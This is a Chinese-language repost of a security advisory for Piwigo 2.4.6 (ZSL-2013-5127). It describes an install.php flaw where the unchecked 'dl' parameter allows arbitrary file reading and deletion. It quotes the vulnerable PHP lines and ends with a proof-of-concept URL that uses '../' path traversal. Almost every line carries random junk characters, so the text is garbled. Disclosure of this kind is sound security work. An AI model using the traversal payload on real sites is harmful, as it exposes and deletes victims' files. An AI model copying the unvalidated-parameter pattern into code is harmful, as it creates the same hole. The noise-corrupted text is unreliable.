Piwigo是用PHP编写的相册脚本。7 s' U- s1 p5 _( A
8 r t0 ~$ K5 |; y* Z& H O( j( y: d9 ^
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
3 Y# E* i, e. w* g, h0 s" m====================================================================+ Q" I2 ^5 G4 c$ r$ u, p! C. n
/install.php:
4 F0 B$ {' u n7 K-------------
* T/ G* U2 P2 m" [. j113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))8 k# M- B( V: A
114: {: z, ]) j& @% \9 g9 ?# s; m
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
. ^/ J' [% v# f8 \116: header('Cache-Control: no-cache, must-revalidate');
7 y6 B; j( N0 ]$ b117: header('Pragma: no-cache');
& S9 Q4 \0 D3 l118: header('Content-Disposition: attachment; filename="database.inc.php"');8 s# T: R+ n5 y$ b' V
119: header('Content-Transfer-Encoding: binary'); o) K! d0 Q8 O4 L
120: header('Content-Length: '.filesize($filename));
8 b: p; C- ~& T0 M0 V1 N121: echo file_get_contents($filename);( \4 M g( b- E( D8 i
122: unlink($filename);( ]3 T ]; Y" k! e+ R1 k4 w' e
123: exit();$ ^0 |' y4 X4 Y+ G% j
124: }
! C( j" }2 E. B. w====================================================================; l/ ^- q$ N; h t
! R0 Z- R P, Y; E& P/ ?
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)0 |; k& t) t6 Z
Apache 2.4.2 (Win32)! h& _2 P6 P5 ~6 f! o* R7 D
PHP 5.4.4
) w% s3 K8 x( Q; ?, n/ C1 h MySQL 5.5.25a1 s% w8 l$ t; ?. `3 Z- s7 [
% C; x/ c2 L' Z1 z; |& b1 LVulnerability discovered by Gjoko 'LiquidWorm' Krstic
8 b. X* ?# e6 |% s: l0 | @zeroscience
! k/ N9 C, L( ^: g ( g1 d: c, y8 J! ^5 y8 E8 r* g! o
Advisory ID: ZSL-2013-5127
% V$ X0 b% W% F/ w1 R2 ]Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
/ _6 ?/ B. p. v. c/ G# n6 [Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
0 ~" y: T- Z$ E6 c7 m 1 \; H' j! \6 X% Q. e5 ?
15.02.2013
1 N# }, q2 [/ c2 M ; s1 \% Z$ L8 e' P. p9 z& v
--
1 V t" N7 `1 I0 R7 w- ohttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
0 x; e4 I0 S; @
- R. ~' R4 i; q' I' A |